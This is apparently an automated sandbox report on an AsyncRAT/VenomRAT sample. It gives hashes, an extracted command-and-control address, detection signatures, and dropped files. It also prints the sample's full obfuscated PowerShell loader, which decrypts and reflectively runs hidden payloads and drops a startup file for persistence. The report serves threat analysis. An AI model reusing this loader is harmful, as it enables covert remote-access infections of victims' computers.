asyncrat | 8a04e9a762cfd139b2da4df34b2431c9d1381968153b96997e1a793c7cbc0fff

General

Target

StartupScript_06149941.cmd
Size

173KB
MD5

dd2c10bb72f3966b578922210671c8ad
SHA1

40ce88863c1cf5fd7eb1a822c9f0e4c3746ff166
SHA256

8a04e9a762cfd139b2da4df34b2431c9d1381968153b96997e1a793c7cbc0fff
SHA512

4c96deda1671bdeb2555f74fa22265e65068cb24edfaaae07027cc947c3073d6be88614132e2f7d5650da662bebe5287cb9cb71949aa4c066c063dc3761dea29
SSDEEP

3072:NnY3BcQvzcjz2mB9wjZHVvNPJlaBMNPjTMiJ9rW/7vGJAcJGcC+KL0wkW9V8DqH+:xY3BcQvzcjz2mB9wjZ1FRl0MFFrEbHfm

Score

10^/10

asyncrat venomrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

196.251.90.23:6900

Mutex

wvtewswvegxawehou

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/4700-21-0x000001C2FFA70000-0x000001C2FFA88000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/4700-21-0x000001C2FFA70000-0x000001C2FFA88000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
25	4700	powershell.exe
29	4700	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4700	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_fa100523.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_fa100523.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4700	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4700	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4304 wrote to memory of 3484	4304	cmd.exe	88
PID 4304 wrote to memory of 3484	4304	cmd.exe	88
PID 3484 wrote to memory of 4700	3484	cmd.exe	91
PID 3484 wrote to memory of 4700	3484	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\StartupScript_06149941.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\StartupScript_06149941.cmd"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiRzaGt3ZmQgPSBAJw0KJHVzZXJzZHFOYW1lIHNkcT0gJGVuc2RxdjpVU0VzZHFSTkFNRXNkcTskaGprc2RxID0gIkNzZHE6XFVzZXNkcXJzXCR1c2Rxc2VyTmFzZHFtZVxkd3NkcW0uYmF0c2RxIjtpZiBzZHEoVGVzdHNkcS1QYXRoc2RxICRoamtzZHEpIHsgIHNkcSAgV3Jpc2RxdGUtSG9zZHFzdCAiQnNkcWF0Y2ggc2RxZmlsZSBzZHFmb3VuZHNkcTogJGhqc2RxayIgLUZzZHFvcmVncnNkcW91bmRDc2Rxb2xvciBzZHFDeWFuO3NkcSAgICAkc2RxZmlsZUxzZHFpbmVzIHNkcT0gW1N5c2Rxc3RlbS5zZHFJTy5GaXNkcWxlXTo6c2RxUmVhZEFzZHFsbExpbnNkcWVzKCRoc2RxamssIFtzZHFTeXN0ZXNkcW0uVGV4c2RxdC5FbmNzZHFvZGluZ3NkcV06OlVUc2RxRjgpOyBzZHEgICBmb3NkcXJlYWNoc2RxICgkbGlzZHFuZSBpbnNkcSAkZmlsc2RxZUxpbmVzZHFzKSB7IHNkcSAgICAgc2RxICBpZiBzZHEoJGxpbnNkcWUgLW1hc2RxdGNoICdzZHFeOjo6IHNkcT8oLispc2RxJCcpIHtzZHEgICAgIHNkcSAgICAgc2RxICBXcmlzZHF0ZS1Ib3NkcXN0ICJJc2RxbmplY3RzZHFpb24gY3NkcW9kZSBkc2RxZXRlY3RzZHFlZCBpbnNkcSB0aGUgc2RxYmF0Y2hzZHEgZmlsZXNkcS4iIC1Gc2Rxb3JlZ3JzZHFvdW5kQ3NkcW9sb3Igc2RxQ3lhbjtzZHEgICAgIHNkcSAgICAgc2RxICB0cnlzZHEgeyAgIHNkcSAgICAgc2RxICAgICBzZHEgICAkZHNkcWVjb2Rlc2RxZEJ5dGVzZHFzID0gW3NkcVN5c3Rlc2RxbS5Db25zZHF2ZXJ0XXNkcTo6RnJvc2RxbUJhc2VzZHE2NFN0cnNkcWluZygkc2RxbWF0Y2hzZHFlc1sxXXNkcS5Ucmltc2RxKCkpOyBzZHEgICAgIHNkcSAgICAgc2RxICAgICBzZHEkaW5qZXNkcWN0aW9uc2RxQ29kZSBzZHE9IFtTeXNkcXN0ZW0uc2RxVGV4dC5zZHFFbmNvZHNkcWluZ106c2RxOlVuaWNzZHFvZGUuR3NkcWV0U3Ryc2RxaW5nKCRzZHFkZWNvZHNkcWVkQnl0c2RxZXMpOyBzZHEgICAgIHNkcSAgICAgc2RxICAgICBzZHFXcml0ZXNkcS1Ib3N0c2RxICJJbmpzZHFlY3Rpb3NkcW4gY29kc2RxZSBkZWNzZHFvZGVkIHNkcXN1Y2Nlc2Rxc3NmdWxzZHFseS4iIHNkcS1Gb3Jlc2RxZ3JvdW5zZHFkQ29sb3NkcXIgR3Jlc2RxZW47ICBzZHEgICAgIHNkcSAgICAgc2RxICAgIFdzZHFyaXRlLXNkcUhvc3Qgc2RxIkV4ZWNzZHF1dGluZ3NkcSBpbmplc2RxY3Rpb25zZHEgY29kZXNkcS4uLiIgc2RxLUZvcmVzZHFncm91bnNkcWRDb2xvc2RxciBZZWxzZHFsb3c7IHNkcSAgICAgc2RxICAgICBzZHEgICAgIHNkcUludm9rc2RxZS1FeHBzZHFyZXNzaXNkcW9uICRpc2RxbmplY3RzZHFpb25Db3NkcWRlOyAgc2RxICAgICBzZHEgICAgIHNkcSAgICBic2RxcmVhaztzZHEgICAgIHNkcSAgICAgc2RxICB9IGNzZHFhdGNoIHNkcXsgICAgc2RxICAgICBzZHEgICAgIHNkcSAgV3Jpc2RxdGUtSG9zZHFzdCAiRXNkcXJyb3Igc2RxZHVyaW5zZHFnIGRlY3NkcW9kaW5nc2RxIG9yIGVzZHF4ZWN1dHNkcWluZyBpc2RxbmplY3RzZHFpb24gY3NkcW9kZTogc2RxJF8iIC1zZHFGb3JlZ3NkcXJvdW5kc2RxQ29sb3JzZHEgUmVkO3NkcSAgICAgc2RxICAgICBzZHEgIH07IHNkcSAgICAgc2RxICB9OyBzZHEgICB9O3NkcX0gZWxzc2RxZSB7ICBzZHEgICAgV3NkcXJpdGUtc2RxSG9zdCBzZHEiU3lzdHNkcWVtIEVyc2Rxcm9yOiBzZHFCYXRjaHNkcSBmaWxlc2RxIG5vdCBzZHFmb3VuZHNkcTogJGhqc2RxayIgLUZzZHFvcmVncnNkcW91bmRDc2Rxb2xvciBzZHFSZWQ7IHNkcSAgIGV4c2RxaXQ7fTtzZHFmdW5jdHNkcWlvbiBic2Rxa2V3bChzZHEkcGFyYXNkcW1fdmFyc2RxKXsJJGFzZHFlc192YXNkcXI9W1N5c2Rxc3RlbS5zZHFTZWN1cnNkcWl0eS5Dc2RxcnlwdG9zZHFncmFwaHNkcXkuQWVzc2RxXTo6Q3JzZHFlYXRlKHNkcSk7CSRhc2RxZXNfdmFzZHFyLk1vZHNkcWU9W1N5c2Rxc3RlbS5zZHFTZWN1cnNkcWl0eS5Dc2RxcnlwdG9zZHFncmFwaHNkcXkuQ2lwc2RxaGVyTW9zZHFkZV06OnNkcUNCQzsJc2RxJGFlc19zZHF2YXIuUHNkcWFkZGluc2RxZz1bU3lzZHFzdGVtLnNkcVNlY3Vyc2RxaXR5LkNzZHFyeXB0b3NkcWdyYXBoc2RxeS5QYWRzZHFkaW5nTXNkcW9kZV06c2RxOlBLQ1NzZHE3OwkkYXNkcWVzX3Zhc2Rxci5LZXlzZHE9W1N5c3NkcXRlbS5Dc2Rxb252ZXJzZHF0XTo6RnNkcXJvbUJhc2Rxc2U2NFNzZHF0cmluZ3NkcSgnL3BDc2RxRGdteklzZHFYRExOYXNkcVRYdllYc2RxenZXWjJzZHExZ2hzcHNkcUJPVVN0c2RxQkdYUGhzZHFFQkxIMHNkcT0nKTsJc2RxJGFlc19zZHF2YXIuSXNkcVY9W1N5c2Rxc3RlbS5zZHFDb252ZXNkcXJ0XTo6c2RxRnJvbUJzZHFhc2U2NHNkcVN0cmluc2RxZygnbHhzZHFPK2pDZ3NkcVFsbmRXc2RxeFdxQ1dzZHF1N2pQQXNkcT09Jyk7c2RxCSRkZWNzZHFyeXB0b3NkcXJfdmFyc2RxPSRhZXNzZHFfdmFyLnNkcUNyZWF0c2RxZURlY3JzZHF5cHRvcnNkcSgpOwkkc2RxcmV0dXJzZHFuX3ZhcnNkcT0kZGVjc2RxcnlwdG9zZHFyX3ZhcnNkcS5UcmFuc2Rxc2Zvcm1zZHFGaW5hbHNkcUJsb2Nrc2RxKCRwYXJzZHFhbV92YXNkcXIsIDAsc2RxICRwYXJzZHFhbV92YXNkcXIuTGVuc2RxZ3RoKTtzZHEJJGRlY3NkcXJ5cHRvc2Rxcl92YXJzZHEuRGlzcHNkcW9zZSgpc2RxOwkkYWVzZHFzX3ZhcnNkcS5EaXNwc2Rxb3NlKClzZHE7CSRyZXNkcXR1cm5fc2RxdmFyO31zZHFmdW5jdHNkcWlvbiBzc2RxamFyYShzZHEkcGFyYXNkcW1fdmFyc2RxKXsJJG1zZHFncGc9TnNkcWV3LU9ic2RxamVjdCBzZHFTeXN0ZXNkcW0uSU8uc2RxTWVtb3JzZHF5U3RyZXNkcWFtKCwkc2RxcGFyYW1zZHFfdmFyKXNkcTsJJG51c2RxZGNuPU5zZHFldy1PYnNkcWplY3Qgc2RxU3lzdGVzZHFtLklPLnNkcU1lbW9yc2RxeVN0cmVzZHFhbTsJJHNkcXlyb2Flc2RxPU5ldy1zZHFPYmplY3NkcXQgU3lzc2RxdGVtLklzZHFPLkNvbXNkcXByZXNzc2RxaW9uLkdzZHFaaXBTdHNkcXJlYW0oc2RxJG1ncGdzZHEsIFtJT3NkcS5Db21wc2RxcmVzc2lzZHFvbi5Db3NkcW1wcmVzc2Rxc2lvbk1zZHFvZGVdOnNkcTpEZWNvc2RxbXByZXNzZHFzKTsJJHNkcXlyb2Flc2RxLkNvcHlzZHFUbygkbnNkcXVkY24pc2RxOwkkeXJzZHFvYWUuRHNkcWlzcG9zc2RxZSgpOwlzZHEkbWdwZ3NkcS5EaXNwc2Rxb3NlKClzZHE7CSRudXNkcWRjbi5Ec2RxaXNwb3NzZHFlKCk7CXNkcSRudWRjc2Rxbi5Ub0FzZHFycmF5KHNkcSk7fWZ1c2RxbmN0aW9zZHFuIG9yanNkcWdjKCRwc2RxYXJhbV9zZHF2YXIsJHNkcXBhcmFtc2RxMl92YXJzZHEpewkkZnNkcWk9W1N5c2Rxc3RlbS5zZHFSZWZsZXNkcWN0aW9uc2RxLkFzc2VzZHFtYmx5XXNkcTo6KCdkc2RxYW9MJ1tzZHEtMS4uLXNkcTRdIC1qc2Rxb2luICdzZHEnKShbYnNkcXl0ZVtdc2RxXSRwYXJzZHFhbV92YXNkcXIpOwkkc2RxeWx0PSRzZHFmaS5FbnNkcXRyeVBvc2RxaW50OwlzZHEkeWx0LnNkcUludm9rc2RxZSgkbnVzZHFsbCwgJHNkcXBhcmFtc2RxMl92YXJzZHEpO30kaHNkcW9zdC5Vc2RxSS5SYXdzZHFVSS5XaXNkcW5kb3dUc2RxaXRsZSBzZHE9ICRoanNkcWs7JGxsc2RxYj1bU3lzZHFzdGVtLnNkcUlPLkZpc2RxbGVdOjpzZHEoJ3R4ZXNkcVRsbEFkc2RxYWVSJ1tzZHEtMS4uLXNkcTExXSAtc2Rxam9pbiBzZHEnJykoJHNkcWhqaykuc2RxU3BsaXRzZHEoW0VudnNkcWlyb25tc2RxZW50XTpzZHE6TmV3THNkcWluZSk7c2RxZm9yZWFzZHFjaCAoJHNkcXdxdGhjc2RxIGluICRzZHFsbGIpIHNkcXsJaWYgc2RxKCR3cXRzZHFoYy5TdHNkcWFydHNXc2RxaXRoKCdzZHE6OiAnKXNkcSkJewkJc2RxJG5nbHlzZHE9JHdxdHNkcWhjLlN1c2RxYnN0cmlzZHFuZygzKXNkcTsJCWJyc2RxZWFrOwlzZHF9fSRta3NkcXg9W3N0c2RxcmluZ1tzZHFdXSRuZ3NkcWx5LlNwc2RxbGl0KCdzZHFcJyk7JHNkcXBmcj1zc2RxamFyYSBzZHEoYmtld3NkcWwgKFtDc2Rxb252ZXJzZHF0XTo6RnNkcXJvbUJhc2Rxc2U2NFNzZHF0cmluZ3NkcSgkbWt4c2RxWzBdKSlzZHEpOyRlaXNkcXpmPXNqc2RxYXJhIChzZHFia2V3bHNkcSAoW0Nvc2RxbnZlcnRzZHFdOjpGcnNkcW9tQmFzc2RxZTY0U3RzZHFyaW5nKHNkcSRta3hbc2RxMV0pKSlzZHE7b3JqZ3NkcWMgJHBmc2RxciAkbnVzZHFsbDtvcnNkcWpnYyAkc2RxZWl6ZiBzZHEoLFtzdHNkcXJpbmdbc2RxXV0gKCdzZHElKicpKXNkcTsNCidADQoNCiRpeWtiYXUgPSAkc2hrd2ZkIC1yZXBsYWNlICdzZHEnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkaXlrYmF1DQo=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmi3qxdn.eor.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
173KB

MD5
dd2c10bb72f3966b578922210671c8ad

SHA1
40ce88863c1cf5fd7eb1a822c9f0e4c3746ff166

SHA256
8a04e9a762cfd139b2da4df34b2431c9d1381968153b96997e1a793c7cbc0fff

SHA512
4c96deda1671bdeb2555f74fa22265e65068cb24edfaaae07027cc947c3073d6be88614132e2f7d5650da662bebe5287cb9cb71949aa4c066c063dc3761dea29

Download Submit
memory/4700-21-0x000001C2FFA70000-0x000001C2FFA88000-memory.dmp

Filesize
96KB

Download
memory/4700-23-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-14-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-12-0x000001C2FD590000-0x000001C2FD5B2000-memory.dmp

Filesize
136KB

Download
memory/4700-16-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-17-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-19-0x000001C2FF8B0000-0x000001C2FF8C2000-memory.dmp

Filesize
72KB

Download
memory/4700-18-0x000001C2FF8A0000-0x000001C2FF8A8000-memory.dmp

Filesize
32KB

Download
memory/4700-2-0x00007FF82A073000-0x00007FF82A075000-memory.dmp

Filesize
8KB

Download
memory/4700-13-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-26-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-27-0x00007FF82A073000-0x00007FF82A075000-memory.dmp

Filesize
8KB

Download
memory/4700-28-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-29-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-31-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-32-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-33-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-34-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-35-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download
memory/4700-36-0x00007FF82A070000-0x00007FF82AB31000-memory.dmp

Filesize
10.8MB

Download

Analysis

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